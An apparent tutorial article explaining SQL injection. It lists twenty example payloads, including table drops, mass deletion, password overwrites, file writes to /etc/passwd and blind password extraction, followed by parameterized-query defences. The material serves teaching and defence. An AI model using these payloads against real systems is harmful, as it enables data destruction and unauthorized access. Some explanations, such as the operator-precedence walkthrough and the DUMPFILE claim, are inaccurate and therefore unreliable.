Skip to content
Home » SQL Injection: Describe what it is with examples

SQL Injection: Describe what it is with examples

A SQL Injection is a code injection technique that attackers use to exploit vulnerabilities in a web application’s database layer. This vulnerability is often present in a web application when user input is incorrectly filtered for string literals that are used in SQL statements, or when user input is not strongly typed and can unexpectedly execute SQL commands.

The technique allows an attacker to manipulate SQL queries that an application makes to its database, enabling the attacker to view, alter, or delete data that they are not normally authorized to access.

How a SQL Injection corrupts queries

Here’s a quick example of how an SQL injection might corrupt a SQL query. Let’s take a simple query that is typically used in login systems:

SELECT * FROM users WHERE username='USERNAME' AND password='PASSWORD';
SQL

Suppose the application replaces ‘USERNAME’ and ‘PASSWORD’ with the user input. If the user inputs

' OR '1'='1

as the username and leaves the password field blank, the SQL query becomes:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='';
SQL

Because ‘1’=’1′ is always true, the query essentially becomes:

SELECT * FROM users;
SQL

This could log the attacker into a random user account if multiple rows are returned by this statement or into a specific account if only one row is returned.

Examples of Damages caused by a SQL Injection

  1. ' OR '1'='1: This will always evaluate to true, potentially allowing unauthorized access.
  2. ' OR ''=': This is similar to the first example, and it also always evaluates to true.
  3. ' OR 'a'='a: Similar to the above examples, any comparison that always evaluates to true can potentially allow unauthorized access.
  4. '; DROP TABLE users; --: This is known as a destructive SQL injection. The semicolon allows the attacker to execute a new SQL statement that drops the users table.
  5. ' UNION SELECT * FROM users WHERE '1' = '1: This will union the results of the original query with the results of the query the attacker has injected.
  6. ' AND email IS NULL; --: This can potentially allow the attacker to bypass login.
  7. ' AND 1=(SELECT COUNT(*) FROM users); --: This can reveal whether a certain condition is true by checking if the query was successful.
  8. ' OR 'x'='x' INTO OUTFILE '/etc/passwd'; --: This can potentially allow the attacker to create new files, or append to existing ones if the permissions allow.
  9. ' OR 'x'='x' INTO DUMPFILE '/etc/passwd'; --: Similar to the above, but DUMPFILE will overwrite an existing file.
  10. ' AND (SELECT * FROM users) = 'x'; --: A subquery injection.
  11. '; SELECT * FROM users; --: This injection allows the attacker to view all data in the users table.
  12. ' OR username LIKE '%: This could potentially display all usernames.
  13. '; DELETE FROM users WHERE '1'='1: This can erase all data from the users table.
  14. '; UPDATE users SET password='hacked' WHERE '1'='1: This changes all users’ passwords to ‘hacked’.
  15. '; INSERT INTO users (username, password) VALUES ('hacker', '123456'); --: This can create a new user with the username ‘hacker’ and password ‘123456’.
  16. ' UNION SELECT NULL, NULL, NULL, password FROM users; --: This might expose passwords of all users if the number of NULLs matches the number of columns in the original SELECT.
  17. '; BEGIN; DROP TABLE users; COMMIT; --: This executes a transaction that drops the users table, making it harder to recover.
  18. '; SELECT IF(SUBSTR(password,1,1)='a',BENCHMARK(1000000,SHA1(1)), false) FROM users; --: This is an example of a blind SQL injection, trying to guess the first character of the password using time delay.
  19. ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)) > 100; --: Another blind SQL injection, this one guesses the ASCII value of the first character of the password.
  20. ' OR EXISTS(SELECT * FROM users WHERE username='admin'); --: This reveals whether a user named ‘admin’ exists.

Protection and Mitigation

To prevent SQL Injection, it is recommended to use prepared statements or parameterized queries. This ensures that the data passed into the SQL query is handled just as data and not part of the SQL command.

Here are examples in Java, Python, and Node.js:

Java (with JDBC)

String selectSQL = "SELECT * FROM USER WHERE USER_ID = ?";
PreparedStatement preparedStatement = dbConnection.prepareStatement(selectSQL);
preparedStatement.setInt(1, 1001);
ResultSet rs = preparedStatement.executeQuery();
Java

Python (with psycopg2 for PostgreSQL or similar)

cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE id = %s;", (user_id,))
Python

Node.js (with mysql or similar)

let userId = 1;
connection.query('SELECT * FROM users WHERE id = ?', [userId], function(error, results, fields) {
    // Callback function code.
});
JavaScript

These examples demonstrate basic parameterized queries. They guarantee that the data incorporated into the SQL query is treated strictly as input data, not as part of the SQL command.

Other essential practices to prevent SQL Injection are:

  1. Always validate and sanitize user input to ensure it does not contain harmful syntax.
  2. Limit the database account privileges that web applications can use. It’s best not to use the root account.
  3. Implement web application firewalls as these can help to filter out malicious data.
  4. Regularly update your database and application software to the latest versions and apply security patches as soon as they are released.
Tags: